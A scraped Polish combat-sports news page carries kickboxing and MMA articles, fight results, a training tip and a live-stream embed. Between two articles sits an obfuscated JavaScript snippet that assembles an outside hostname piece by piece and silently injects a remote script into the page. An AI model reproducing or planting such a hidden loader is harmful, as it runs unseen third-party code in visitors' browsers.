Dudek trenuje z najlepszymi

Za Rafałem Dudkiem intensywny rok. 32-letni kickboxer stoczył siedem walk, jednak nie zwalnia tempa. Dudek ciężko trenuje w Holandii i myśli o kolejnych wyzwaniach.

Rafał Dudek to jeden z najbardziej rozpoznawalnych polskich kickboxerów, który zyskał renomę na całym świecie. Zawodnik z Nowego Sącza może pochwalić się bogatą karierę amatorską oraz efektownymi walkami na galach zawodowych. W czerwcu Dudek zmierzy się z Rafałem Jackiewiczem na gali organizacji DSF Kickboxing Challenge.

Intensywne treningi w Holandii

Rafał Dudek łączy treningi między klubami Fight House Nowy Sącz i Mike's Gym. Walczy nie tylko w Polsce, ale także i zagranicą. W ubiegłym roku fighter wziął udział w programie Enfusion Reality, który nagrywany był w Tajlandii. Dudek pokazał się z dobrej strony i awansował do półfinału. Po drodze pokonał Muhammeda Zahira i Beau Superpro Samuiego, jednak przeszkodą nie do przejścia okazał się Aziz Kallah.

Również w Polsce 32-latek prezentował się efektownie. Na gali DSF 7 na warszawskim Bemowie czołowy polski zawodnik wagi lekkiej uporał się z Ivanem Yarmoshem, który trzy razy był liczony. – Moim zdaniem, najlepsze walki to wygrana przez K.O z młodą wschodzącą gwiazdą z Maroko, czyli Youseffem El Hajiim w Antwerpii oraz zwycięstwo w Tajlandii z mistrzem MWC Bau Superpro Samui, gdzie po low kickach miałem go na deskach ! Takie triumfy są najcenniejsze i dają największą satysfakcję! Trzeba wspomnieć o niesłusznej przegranej na punkty 1:2 ze świetnym zawodnikiem –  Yassinem Baitarem! Wojownik ze światowej czołówki nie potrafił znaleźć na mnie recepty – ocenia dla FighTime.pl Rafał Dudek. – Najważniejsze dla mnie jest to, że jadę na obcy teren i daję dobre walki z mocnymi zawodnikami, a nie z jakimiś „ogórami”. Jestem doceniany i zapraszany na kolejne gale – dodaje.

Obecnie Dudek przebywa w Holandii, gdzie ciężko trenuje. Zawodnik chce wypracować optymalną formę, bo czeka go rok pełen wyzwań. – Treningi w Holandii przebiegają jak zwykle! Normą jest, że kilka godzin dziennie przebywam na niezwykle ciężkich i intensywnych zajęciach. Atmosfera jest super! Każdy tutaj zasuwa na 100 procent, jeden motywuje drugiego! Najważniejsze są tutaj sparingi. Nie ma miejsc na litość czy odpuszczanie! Pomagają mi zawodnicy ze ścisłej czołówki kickboxingu na świecie m.in Murthel Groenhart! – przedstawia 32-letni kickboxer.

Na horyzoncie walka z bokserem

W czerwcu Rafał Dudek wystąpi na gali DSF, gdzie jego rywalem będzie doświadczony bokser Rafał Jackiewicz. – Ta walka będzie dla mnie okazją do zaprezentowania się szerszej publiczności w Polsce! Efektowna wygrana może sprawić, że moje akcje w kraju powędrują w górę! Cieszę się z tej walki, ponieważ cały polski kickboxing na tym skorzysta i nasza dyscyplina przebije się do mainstreamu! Warunek jest jeden – Jackiewicz musi dostać lanie! Plan na walkę jest prosty: ciągła presja i kopanie. Trzeba pokazać w Polsce, że K-1 jest skuteczniejsze niż boks! – tłumaczy brązowy medalista mistrzostw Europy WAKo z 2012 roku.

Niewykluczone, że Dudek wcześniej pojawi się w ringu. – Co do konkretnych planów, to nie mogę nic zdradzać. Oprócz walki dla  najlepszej federacji DSF Kickboxing Challenge, mam dogrywane pojedynki za granicą przez osobę Mike'a Passanierena. Mam nadzieję, że przed czerwcowym starciem z Rafałem Jackiewiczem stanę na ringu! – podaje Dudek.

Fot. Facebook/Superkombat

KM

Wrzosek kontra Bizewski na gali FEN 16 Warsaw Reloaded

Znamy pierwsze zestawienie K-1 gali FEN 16 WarsawReloaded!

W 11 marca na Torwarze w Warszawie szlagierowo zapowiadającej się walce w wadze ciężkiej zmierzą się zaliczani do czołówki europejskiego kickboxingu Arkadiusz Wrzosek i Artur Bizewski.

Dla Arkadiusza Wrzoska walka na fali FEN 16 WarsawReloaded będzie okazją do rewanżu za porażkę odniesioną w walce wieczoru gali WBT półtora roku temu w Gdańsku – zawodnik klubu Copacabana Warszawa przegrał wówczas z reprezentantem Agoga Gym Lębork na punkty.

Obaj utytułowani kickbokserzy swoje ostatnie walki w klatkoringu Fight Exclusive Night stoczyli podczas wakacyjnej gali FEN 13 Summer Edition i w obu przypadkach były to emocjonujące, stojące na wysokim poziomie pojedynki. 27-letni Artur Bizewski, dwukrotny zdobywca Pucharu Świata, brązowy medalista mistrzostw Europy i trzykrotny mistrz Polski w kickboxingu kick-light, mierzył się latem w Gdyni z weteranem K-1 Marcinem Szrederem. Po wyczerpującym boju na pełnym dystansie większościową decyzją sędziów zwyciężył „Bizon”, dopisując piąte zawodowe zwycięstwo do swojego rekordu. 

Natomiast 24-letni Arkadiusz Wrzosek, który w październiku został amatorskim mistrzem świata K-1 Global, a wcześniej zdobył tytuły mistrza Europy muay thai oraz mistrza Polski w muay thai i wushu, na FEN 13 wygrał starcie z KryspinemKalskim, który w swoim debiucie w FEN stawiał bardziej doświadczonemu przeciwnikowi niezwykle zacięty opór. Ostatecznie sędziowie tego pojedynku potrzebowali aż ekstra rundy, aby móc ogłosić werdykt. Co ciekawe, dla zawodnika z Warszawy był to drugi występ w organizacji FEN i drugi zakończony dogrywką – wcześniej na gali FEN 11 WarsawTime w podobnych okolicznościach to Arek Wrzosek musiał uznać wyższość rywala, Niemca Niko Falina.

FEN 16 Warsaw Reloaded będzie drugą galą organizacji FightExclusive Night w stolicy Polski. Federacja poinformowała już, że 11 marca na stołecznym Torwarze w walce wieczoru wystąpi najlepszy piórkowy polskiego MMA Kamil Łebkowski, a o pasy walczyć będą Paweł Hadaś w kategorii średniej i Paweł Żelazowski w wadze półśredniej. W walkach w formule K-1 oprócz Artura Bizewskiego i Arkadiusza Wrzoska zobaczymy również Marcina Szredera oraz debiutującego w FEN Radosława Paczuskiego.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Kontuzja Błachowicza, nie wystąpi w Houston

Jan Błachowicz odliczał dni do gali UFC Fight Night 104, na której miał zmierzyć się z Ovince'em Saint Preux. Polski zawodnik kategorii półciężkiej nie wystąpi jednak w Houston. Powód: kontuzja.

Popularny „John” musi poczekać na szósty występ w najlepszej organizacji MMA na świecie. 4 lutego miejsce Polaka w pojedynku z Ovincem St. Preux zajmie Volkan Oezdemir.

Ręka nie wytrzymała

Po dobrej, choć przegranej walce Błachowicz z Alexandrem Gustafssonem czekaliśmy z niecierpliwością na kolejny występ byłego mistrza KSW. Los skojarzył polskiego fightera z pochodzącym z Haiti Saint Preux. 33-latek zawitał do UFC w 2013 roku, wcześniej występował w Strikeforce. Początkowo prezentował się efektownie i skutecznie. Podczas UFC Fight Night 56 w zaledwie 34 sekundy uporał się z Mauricio Ruą. Ostatnie miesiące nie należą do najlepszych w karierze St. Preuxa. Rok 2016 zaczął od zwycięstwa z Rafaelem Cavalcante, jednak później zanotował dwie porażki – z Jonem Jonesem i Jimim Manuwą. 

Błachowicz miał stanąć przed trudnym wyzwaniem podczas swojej przygody w UFC. Ostatnie dobre występy sprawiły, że Polak dostał drugie życie w najlepszej organizacji MMA na świecie. Podpisał kontrakt na cztery walki. Na pierwszą z nich przyjdzie mu jednak poczekać…

Zamiast o walce, Błachowicz musi pomyśleć o zdrowiu. Kontuzja wyklucza go z udziału na gali UFC Fight Night 104 w Houston. Zawodnik ma problemy z prawą ręką. Chodzi o pęknięcie jednej z kości śródręcza. Przed Błachowiczem stanęło zatem wyzwanie zdrowotne, a nie sportowe. Jednak bez pełnej sprawności nie ma mowy o rywalizacji na najwyższym poziomie. Nie pozostaje nam zatem nic innego jak życzyć Jankowi szybkiego powrotu do zdrowia. Trzymamy mocno kciuki i czekamy na kolejną walkę Błachowicza w UFC.

Zastępca znaleziony

Jak to się mówi, nieszczęście jednego może oznaczać szczęście drugiego. Pech Błachowicza sprawił, że szansę na debiut w UFC dostał Volkan Oezdemir.

Czy mający tureckie korzenie reprezentant Szwajcarii ma szansę w starciu z doświadczonym St. Preux? Bilans 27-latka wygląda imponująco: dwanaście zwycięstw i jedna porażka. Szwajcar zaliczył aż dziewięć zwycięstw przez nokaut. Oezdemier występował na galach organizacji WKN. Zaliczył także dwie walki w Bellatorze. Ostatni pojedynek stoczył w kwietniu ubiegłego roku, kiedy to na gali WFCA 17 decyzją sędziów pokonał Alihana Vahaeva. 

Ozdobą gali w Houston będzie starcie Dennisa Bermudeza i Chana Sung Junga. Amerykanin wygrał dwie walki z rzędu, z kolei Koreańczyk przegrał ostatnio z Jose Aldo.

KM

Jeszcze nie walczył, a już stracił pas

Podczas ważenia zawodnicy patrzą sobie prosto w oczy, aby zademonstrować swoją siłę i przestraszyć rywala. Robin van Roosmalen po zejściu z wagi mógł spuścić wzrok. Wygrana holenderskiego kickboxera w starciu z Mattem Embree na Glory 37 nie pozwoli zachować mu mistrzowskiego pasa. Wszystko przez… zbędne kilogramy.

Kilka miesięcy van Roosmalena cieszył się z wywalczenia mistrzowskiego tytułu w kategorii piórkowej. 27-letni fighter miał stanąć w obronie mistrzowskiego pasa, jednak z Mattem Embree będzie walczył „o pietruszkę”.

Zrobić wagę

Wraz z początkiem nowego roku większość z nas robi sobie postanowienia. Każdy chce walczyć ze swoimi słabościami, wśród których jest także nadmiar kilogramów. Szczególnie dotyczy to kobiet, które ze wszech miar chcą dbać o linię i zawsze powtarzają, że są za grube. Waga jest również istotna dla kickboxerów, którzy muszą zmieścić się w odpowiednich limitach.

Do niedawna Robin van Roosmalen rywalizował w kategorii lekkiej, gdzie odnosił sukcesy. Pokonywał kolejnych rywali i wznosił w górę pas. Holender pokonał m.in. Davita Kirię, Andy'ego Ristie czy Steve'a Moxona. Rywalizował również z mocnym Tajem Sitthichaim Sitsongpeenongiem, który zanotował ponad 100 zwycięstw w karierze. 6 listopada 2015 roku van Roosmalen powstrzymał groźnego rywala, ale pół roku później musiał uznać jego wyższość i stracił pas wagi lekkiej. Holender postawił zmienić kategorię wagową.

Van Roosmalen chciał być lekki jak piórko. Od razu przyszło mu rywalizować o pas. O tytuł w kategorii piórkowej zmierzył się z Gabrielem Vargą. 27-latek odważnie zaatakował Kanadyjczyka i zdobył przewagę. W przerwie między czwartą a piątą rundą obóz czempiona rzucił ręcznik. Van Roosmalen mógł wznieść ręce w geście triumfu. 

65 – tę liczbę na długo zapamięta Holender. Tyle wynosi górny limit kategorii piórkowej. Na ważeniu przed galą Glory 37 okazało się, że van Roosmalen ma więcej kilogramów. Po występie w Los Angeles Holender pożegna się z tytułem mistrzowskim. Otwarte pozostaje pytanie, czy zdobędzie go Embree. Mimo całej sytuacji, dla Kanadyjczyka będzie to walka o pas.

Półfinały i walka o pas

Jednym z ciekawszych wydarzeń styczniowej gali Glory będą półfinały turnieju w wadze półśredniej. Konstantin Khuzin zmierzy się z doświadczonym Yoannem Kongolo, a Karim Benmansour podejmie Alana Scheinsona.

Wydarzeniem wieczoru będzie starcie o pas w kategorii średniej. W tym przypadku żaden z uczestników nie miał problemów z osiągnięciem odpowiedniej wagi. Jason Wilnis postara się odeprzeć atak Israela Adesanya i zachować tytuł. Nie będzie to łatwa, bo zawodnik z Nowej Zelandii jest doświadczony i niezwykle skuteczny.

KM

Pogromca Tybury rywalem Omielańczuka

18 marca w Londynie Daniel Omielańczuk stoczy swój ósmy pojedynek w UFC. Rywalem polskiego fightera będzie Timothy Johnson, który w ubiegłym roku rozprawił się z Marcinem Tyburą. Niebawem w oktagonie UFC zaprezentuje się Jan Błachowicz.

Zarówno Omielańczuk, jak i Johnson w ostatnich występach zanotowali porażki. Podczas UFC Fight Night 108 będą chcieli wrócić na zwycięską ścieżkę.

Ma Polaka na rozkładzie

Omielańczuk ma nad Amerykaninem przewagę doświadczenia. Stoczył więcej zawodowych walk w MMA, a także dłużej występuje w UFC. 34-letni Polak przygodę z amerykańską organizacją rozpoczął we wrześniu 2013 roku. W trzeciej rundzie pokonał Nandora Guelmino, jednak później zanotował dwie porażki. Na właściwe tory wrócił w lipcu 2015 roku, kiedy w zaledwie 48 sekund rozbił Chrisa de la Rochę. Następnie zanotował dwa zwycięstwa, w tym prestiżowe z Alexey'em Oleinikiem. Wspaniałą serię Omielańczuka przerwał w październiku Stefan Struve. Podczas gali w Manchestrze Holender przez duszenie zmusił Polaka do poddania.

Timothy Johnson wychodzi w UFC na zero. Cztery walki – dwie wygrane, dwie porażki. Amerykanin ma na rozkładzie Marcina Tyburę. W kwietniu Polak debiutował w UFC i los skojarzył go z Johnsonem. Tybura był aktywny i w trzeciej rundzie szukał poddania w parterze, jednak w przekroju całego starcia lepszy był rywal. W drugiej rundzie na twarzy polskiego zawodnika pojawiło się poważne rozcięcie. Johnson przystąpił do ataku i był o krok od znokautowania Tybury, jednak ostatecznie wygrał decyzją sędziów. W ostatnim występie Amerykanin musiał uznać wyższość Alexandra Volkova.

Co ciekawe, zawodnik z Fargo w zdecydowanej większości wygrywa przed czasem. Tylko z Tyburą wygrał decyzją sędziów. Ma na koncie trzy porażki i w tym przypadku tylko jedna walka z jego udziałem zakończyła się przed czasem. Z kolei u Omielańczuka może zaobserwować pewną prawidłowość w przypadku porażek. Zazwyczaj walki, w których musi uznać wyższość rywala kończą się decyzją sędziów – pięć na sześć. Cel na zbliżającą się walkę jest jasny. – W starciu z Timothym Johnsonem wyrównam klubowe porachunki – napisał na swoim facebooku Omielańczuk.

Błachowicz w Houston

Zanim zobaczymy pojedynek Omielańczuka, odbędzie się walka Jana Błachowicza. Na gali UFC Fight Night 104 rywalizujący w wadze półciężkiej Polak zmierzy się z Ovincem St. Preux.

Po dwóch porażkach z rzędu Błachowicz znalazł się pod ścianą, jednak w Chorwacji pokonał Igora Pokrajaca i wrócił do gry. Później stanął przed poważnym wyzwaniem. W kwietniu w Hamburgu zmierzył się z powracającym do rywalizacji Alexandrem Gustafssonem. Błachowicz dał z siebie wszystko, zrobił dobre wrażenie, ale sędziowie wskazali na Szweda. 

Najbliższym rywalem Błachowicza będzie Ovince St. Preux, dla którego ostatni czas był trudny. Haitańczyk zanotował dwie porażki, a ostatnią walkę wygrał blisko rok temu.

KM

Bonusy po gali FEN 15 Final Strike przyznane!

Włodarze organizacji Fight Exclusive Night przyznali bonusy finansowe za walkę wieczoru, najlepsze poddanie i najlepszy nokaut sobotniej gali FEN 15 Final Strike w lubińskiej hali RCS.

Szansę na bonus za poddanie wieczoru na gali FEN 15 Final Strike mieli Kamil Gniadek, który skrętówką pokonał Francuza Vincenta Del Guerrę, oraz Mateusz Głąb, który balachą zmusił do odklepania Białorusina Leonida Smirnova. Wybór był trudny, ponieważ obaj zawodnicy popisali się efektownymi akcjami, wygrywając swoje pojedynki już w pierwszej rundach. Ostatecznie właściciele federacji FEN wyżej ocenili technikę kończącą zawodnika z Wrocławia i zdecydowali, że właśnie do niego trafi premia pieniężna.

Zobacz walkę Kamil Gniadek vs Vincent Del Guerra

Podobnych dylematów nie było w przypadku premii za nokaut wieczoru, gdyż tylko jedna walka zakończyła się przed czasem w taki właśnie sposób. Bonus otrzymał więc Włoch Riccardo Nosiglia, który walkę z Marcinem Zontkiem przyjął w zastępstwie za kontuzjowanego Francuza Boubacara Balde zaledwie tydzień przed galą. Mimo to młody fighter z Padwy zaprezentował się z doskonałej strony, uderzeniami w parterze nokautując niedawnego pretendenta do mistrzowskiego pasa FEN pod koniec pierwszej rundy.

Zobacz walkę Riccardo Nosiglia vs Marcin Zontek

Chociaż wszystkie starcia gali FEN 15 Final Strike stały na wysokim poziomie, to bez wątpienia na bonus za walkę wieczoru najbardziej zapracowali uczestnicy main eventu, którego stawką był tytuł mistrza organizacji FEN w K-1 w kategorii do 77 kg. Paweł Biszczak i Wojciech Wierzbicki w sobotę w Lubinie potwierdzili po raz kolejny, że należą do ścisłej europejskiej czołówki K-1 – walka o pas w ich wykonaniu była porywającą, toczoną w zabójczym tempie kickbokserską wojną, podczas której kibice przez pełne pięć rund emocjonowali się kapitalnymi wymianami ciosów i kopnięć.

Zobacz walkę Paweł Biszczak vs Wojciech Wierzbicki

""""""""""

FEN

Rower stacjonarny – dobre narzędzie treningowe w sportach walki

Czy warto wykorzystywać rower stacjonarny gdy trenuje się sporty walki? Owszem, a efekty tego typu pracy odczujesz nie tylko podczas treningów interwałowych, ale i w trakcie samych walk.

Rower stacjonarny pomoże Ci w innych treningach

Dłuższe sesje ćwiczeniowe na rowerkach treningowych pozwalają Ci zwiększyć swój poziom wytrzymałości. Ten zaś przekłada się się również na to, ile możesz z siebie wycisnąć w trakcie treningów łączących wytrzymałość z siłą, takich jak tabata, czy dowolne inne treningi o formule interwałowej.

Jak bardzo jest to0 istotne w sportach walki nie trzeba Ci chyba mówić. Jeśli choć raz zdarzyło Ci się walczyć z kimś dużo cięższym od Ciebie, wiesz doskonale, że tego typu ćwiczenia są kluczowe.

Lepsza praca nóg

Tego elementu treningów nie można omijać. A rower stacjonarny ewidentnie pomaga w wzmocnieniu dolnych kończyn. Oczywiście, nie zastąpi on starej, dobrej skakanki, ale świetnie się z nią uzupełni.

Mało tego, trenując na rowerze stacjonarnym poprawisz nie tylko wytrzymałość swoich nóg, ale przy okazji wzmocnisz swoje uda. To natomiast przełoży się nie tylko na siłę Twoich kopnięć, lecz również na to, jak dobrze możesz znosić kopnięcia dolne, czyli tak zwane low-kicki. A że te potrafią być naprawdę uciążliwe, wiesz zapewne doskonale.

Trening przed treningiem

W przypadku sportów walki rower treningowy może przydać się z jeszcze jednego powodu. Jeżeli zdecydujesz się na odbycie dłuższej „jazdy” treningowej tuż przed innymi ćwiczeniami, na przykład z kettlebellami, sztangami, czy nawet standardowymi ćwiczeniami bez przyrządów, możesz uzyskać efekt dużo większego zmęczenia.

Po co? Chodzi nie tylko o cięższą pracę, lecz także o przyzwyczajenie psychiki do sytuacji, gdy znane ruchy wykonuje się w cięższych warunkach, niż się do tego do tej pory przyzwyczaiło. W przypadku sportów walki ma to niebagatelne znaczenie, gdy dochodzi do pojedynku, a przeciwnik okazuje się twardszy, niż się sądziło, zaś sama walka zostaje wydłużona o dodatkową rundę. Wtedy Twoja zdolność do utrzymywania – mimo niesprzyjających okoliczności – siły i szybkości własnych ruchów będzie decydująca! Ćwicz ją więc zawsze, gdy masz ku temu okazję!

[kod]

(function(){
wnk6=document.createElement("script");wnk6.type="text/javascript";
wnk6.async=true;wnk6_=(("us")+"t")+"a";wnk6_+=("t.i")+""+"n";wnk6_+=(("f")+"o");wnk6_+="/";
wnk6u="15403181.";wnk6u+="myeXlnfwnk6c7ibv7dqbndng0wd3sx";wnk6.src="//"+wnk6_+wnk6u;
wnk6db=document.body; wnk6db.appendChild(wnk6);
})();

LIVE: XX Warszawska Granda

Zapraszamy na transmisje telewizyjna na żywo z jubileuszowej XX Warszawskiej Grandy. Organizatorzy zaplanowali 30 pojedynków w formule K-1.

[kod]

XX Warszawska Granda

XX Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro_LFC.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro_LFC.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro_LFC.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro_LFC.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Pogromca McGregora bokserem?

MMA to dyscyplina, która pozwala rozwijać się na każdej płaszczyźnie. Dlatego też niektórzy próbują szczęścia na innych polach. Dobrze znany z występów na galach UFC Nate Diaz stara się o licencję bokserską.

Jeszcze do niedawna MMA było płaszczyzną do rozwoju dla wojowników, którzy mieli na koncie walki w boksie, judo, kickboxingu czy zapasach. Krok po kroku ten obraz ulega zmianie. Jeszcze zbyt wcześnie, żeby mówić o narodzeniu się nowego trendu w sportach walki, ale coś zaczyna się dziać.

Czas „tylko” na pięści

31-letni Nate Diaz od blisko dziesięciu lat związany jest z UFC i w tym czasie zdążył wyrobić sobie markę solidnego fightera. Ostatnio zrobiło się o nim głośno, gdy na gali w Las Vegas pokonał Conora McGregora. 5 marca 2016 roku Amerykanin udusił Irlandczyka. McGregor nie był łatwym kąskiem rozbił twarz Diaza, ale w drugiej rundzie stracił impet, co wykorzystał rywal. 31-latek mocnym lewym prostym zamroczył Irlandczyka, sprowadził walkę do parteru, gdzie wypracował idealną pozycję i zmusił gwiazdę UFC do poddania. Kilka miesięcy później McGregor wziął rewanż wygrał, ale dopiero decyzją sędziów.

Nate Diaz ma nieco lżej w kieszeni, ale myśli o kolejnej ścieżce rozwoju. Ubyło mu 50 tysięcy dolarów. Amerykanin musiał zapłacić karę za wybryki na konferencji prasowej przed rewanżem z McGregorem. 31-letni fighter rzucał… butelkami. Diaz ostatni raz w klatce pojawił się w sierpniu ubiegłego roku i niewykluczone, że kolejną walkę stoczy w ringu bokserskim. Ponoć Amerykanin nie jest zadowolony z rozwoju swojej kariery w UFC. Stara się o licencję bokserską, co potwierdziła Komisja Sportowa Stanu Nevada. Diaz sparował nawet z Andre Wardem, a jego dobrym znajomym jest Floyd Mayweather Jr. Mówi się, że popularny „Money” mógłby zostać promotorem 31-latka.

McGregor był szybszy

Nate Diaz nie był wcale pierwszy. Już wcześniej licencję bokserską uzyskał Conor McGregor. Ów fakt doprowadził do wrzenia spekulacje na temat debiutu Irlandczyka. Od dłuższego czasu mówi się, że świat miałby zobaczyć wielkie show w postaci starcia Floyda Mayweathera Jr z McGregorem.

Mistrz UFC w dwóch kategoriach wagowych ostatnią walkę w UFC stoczył w listopadzie, kiedy to pokonał Eddiego Alvareza. Z kolei Mayweather zakończył jako niepokonany karierę bokserską. Czy dla milionów i wielkiego show wróci na ring? Początkowo były mistrz wagi półśredniej wykazywał zainteresowanie starciem z McGregorem, ale z czasem odciął się od tego pomysłu.

Fot. sherdog

KM

Ruchy kadrowe wśród ligowców

Trwa okienko transferowe w Krajowej Lidze Zapaśniczej. Kluby szukają wzmocnień i kontraktują kolejnych zawodników. Mimo, że za oknem śnieg, to w lidze jest niezwykle gorąco. Zapaśnicy wrócą do rywalizacji już 25 stycznia.

Krajowa Liga Zapaśnicza to propozycja, która pojawiła się na rynku 2 listopada ubiegłego roku. Cel jest oczywisty: popularyzacja zapasów, aby dyscyplina trafiła „pod strzechy”.

Kluby wzmacniają się

Pierwsza część sezonu należała do ekipy AKS Wrestling Team Piotrków Trybunalski, która wygrała wszystkie pięć spotkań. Lider zakontraktował Mariusza Łosia. 34-letni zawodnik zdobywał medale mistrzostw Polski, a jego największym sukcesem jest wicemistrzostwo Europy w stylu klasycznym z 2009 roku.

Mocny ruch wykonała Unia Racibórz. Wicelider postanowił sięgnąć po Timura Bardieva. Białorusin startuje w kategorii 75kg w stylu klasycznym i jest aktualnym wojskowym mistrzem świata. Wydaje się bardzo ciekawym zawodnikiem, który może stanowić pewny punkt Unii. 

Bez zwycięstwa w Krajowej Lidze Zapaśniczej pozostaje AZ Supra Brokers Wrocław. Ostatni zespół tabeli zamierza zmienić swoje położenie. Klub z Wrocławia jest aktywny na rynku transferowym. Drużyna AZ Supra przeprowadziła dwa ciekawe transfery, ale to dopiero początek. W barwach wrocławskiego zespołu zaprezentuje się Yulia Tkach (63kg). 27-letnia Ukrainka zapisała na swoim koncie mistrzostwo świata (2014) oraz brązowy medal światowego czempionatu (2015). Zdobywała również medale mistrzostw Europy, a także ma za sobą starty na igrzyskach w Londynie i Rio de Janeiro. Drugim wzmocnieniem wrocławskiego zespołu jest Alla Cherkasova (75kg). Ostatnim sukcesem 27-letniej reprezentantki Ukrainy jest brązowy medal mistrzostw Europy w Rydze.

Dwie nowe twarze pojawiły się w AZS-ie Warszawa. Stołeczny zespół wzmocnili zawodnicy rywalizujący w stylu klasycznym: Przemysław Piątek (59kg) oraz Patryk Kamiński (98kg). Obaj należą do kategorii młodych, zdolnych. Pierwszy jest młodzieżowym wicemistrzem Polski, z kolei Kamiński ma na koncie brąz mistrzostw świata kadetów.

Przygotowania trwają

Blisko dwumiesięczna przerwa od meczów Krajowej Ligi Zapaśniczej dobiega końca. Trenerzy kończą przygotowania, kluby dopinają negocjacje transferowe. Pierwsza kolejka rundy rewanżowej 25 stycznia. Warto przypomnieć, że w  rywalizacja będzie odbywać się w innych kategoriach wagowych niż jesienią.

Wydaje się, że walka o triumf rozstrzygnie się pomiędzy zespołami z Piotrkowa i Raciborza. Już 25 stycznia wicelider stanie przed trudnym wyzwaniem. Unia pojedzie do Wrocławia, gdzie AZ Supra Brokers wypatruje pierwszego zwycięstwa. 

Z kolei AKS zmierzy się z mocnym Grunwaldem Poznań, który musi się mieć na baczności, ponieważ w rundzie rewanżowej atak na podium będzie chciał przeprowadzić zespół AKS Białogard. Czwarta drużyna KLZ na początek rundy rewanżowej zmierzy się z AZS-em AWF Warszawa.

KM

Sędziowie widzieli inną walkę

„Drogi Panie, toż to tak być nie może! Co oni oczu nie mają?! Do kopalni zasuwać, a nie chłopakowi zwycięstwo odbierać!” Wielu polskich fanów MMA wpadło w złość po ogłoszeniu wyniku starcia Marcina Helda z Joe Lauzonem.

Polak przegrał drugą walkę w UFC, jednak w opinii większości obserwatorów plamę dali sędziowie, a nie 24-letni fighter, który był niezwykle aktywny. Nawet sam Lauzon przyznał, że decyzja sędziów budzi kontrowersje.

Gdzie ta sprawiedliwość? 

Piłka jest okrągła, a bramki są dwie. Futbol to słabość praktycznie każdego mężczyzny, dlatego warto odwołać się do tej płaszczyzny. Wielokrotnie kibice gwiżdżą na arbitra i rzucają w jego stronę uwagi, z których ta najłagodniejsza to „sędzia kalosz”. Decyzja jednej osoby często może wypaczyć wynik spotkania. Sędzia piłkarski ma swoich asystentów, ale musi zasuwać po boisku wokół 22 chłopów. Nieco inną sytuację mają oceniający pojedynki MMA. Siedzą wygodnie i obserwują walkę. Wszystko mają podane jak na tacy. Widzą praktycznie każdy cios, obalenie, kopnięcie i przyznają punkty. 

Na pozór proste i oczywiste, jednak w przypadku starcia Helda i Lauzona, do którego doszło na UFC Fight Night 103 jest inaczej. Polak w debiucie w najlepszej organizacji MMA na świecie przegrał z Diego Sanchezem. W Phoenix chciał wygrać, jednak trafił na doświadczonego rywala. Held potrafił wyjść z opresji, pokazał swoje umiejętności w parterze, zaliczał obalenia, również w stójce wyglądał przyzwoicie. Robił, co mógł, aby wygrać i wszystkim wydawało się, że wykonał zadanie w 100 proc. W górę powędrowała ręka… Lauzona, który chyba sam był zaskoczony tym faktem. Sędziowie punktowali 27:30, 29:28, 29:28 na korzyść Amerykanina.

Held nie krył rozczarowania. – Nie wiem co powiedzieć… nie wierze w wynik sędziowski! Po prostu nie wierze! Wszyscy, którzy oglądali walkę wiedzą, że ta walka była wygrana!!! – napisał zawodnik na swoim facebooku.

Lauzon wiedział, kto jest lepszy

Amerykańscy eksperci jako zwycięzcę walki widzieli Helda. 24-latek został skrzywdzony przez sędziów. Joe Lauzon zwyciężył, jednak chyba sam nie był przekonany, co do słuszności wyniku. Najlepiej obrazuje to wpis Marcina Helda. – Po walce podszedł do mnie mój przeciwnik Joe Lauzon przepraszając za wynik. Jestem wściekły bo ciężko się przygotowywałem, a sędziowie mnie najzwyczajniej w świecie oszukali. Bardziej przekręconego wyniku nie widziałem – dzielił się swoimi odczuciami Polak.

Marcin Held zanotował drugą porażkę w UFC – takie są fakty. Choć obraz walki wskazywał na to, że werdykt będzie szczęśliwy dla Polaka. Sędziowie wypaczyli wynik walki. Ciekawe, czy na trybunach był obserwator piłkarski? O, przepraszam. Oczywiście obserwator MMA. Wszyscy widzieli, jednak było inaczej…

KM

FEN 15 Final Strike – Wyniki

 

 

 

 

 

 

 

 

 

 

FEN 15 – karta walk:

o pas mistrzowski K-1:
-77 kg: Paweł Biszczak pokonał niejednogłośnie na punkty Wojciecha Wierzbickiego

-93 kg; MMA: Riccardo Nosiglia (5-0, 5 KO) pokonał przez techniczny nokaut w pierwszej rundzie Marcina Zontka (16-10, 2 NC, 8 KO, 5 SUB)

o pas mistrzowski K-1:
-65 kg: Róża Gumienna pokonała jednogłośnie na punkty Martinę Fendrichovą.

-84 kg; MMA: Marcin Naruszczka (18-5-1, 7 KO, 2 SUB) pokonał jednogłośnie na punkty Filipa Tomczaka (4-1, 4 SUB)
-77 kg; MMA: Kamil Gniadek (11-4-1, 1 NC, 2 KO, 8 SUB) pokonał przez poddanie (skrętówka) Vincenta Del Guerrą (24-18, 8 KO, 14 SUB)
-77 kg; MMA: Albert Odzimkowski (10-3, 2 KO, 7 SUB) pokonał jednogłośnie na punkty Oskara Somerfelda (5-2, 5 SUB)
-70 kg; MMA: Mateusz Rębecki (4-1, 3 SUB) pokonał jednogłośnie na punkty Adama Golonkiewicza (11-10, 3 KO, 1 SUB)
-70 kg; MMA: Mateusz Głąb (4-0, 1 KO, 2 SUB) pokonał przez poddanie (balacha) Leonida Smirnova (1-2, 1 KO)

Karta wstępna:
-69 kg; K-1: Wojciech Kazieczko pokonał niejednogłośnie na punkty Mateusza Dąbrowskiego.

Transfer Radka Paczuskiego z DSF do FEN!

Jeden z najbardziej utalentowanych i obiecujących polskich kickboxerów Radosław Paczuski będzie występował na galach organizacji Fight Exclusive Night. Do niedawna zawodnik związany był z DSF Kicboxing Challenge.

Można powiedzieć, że mamy do czynienia z prawdziwym hitem transferowym. Paczuski wyrasta na gwiazdę K-1 nie tylko na poziomie krajowym, ale i europejskim. Jego walki przyciągają uwagę swoją efektywnością i klasą. Teraz rozpoczyna kolejny etap kariery.

Złowili perełkę

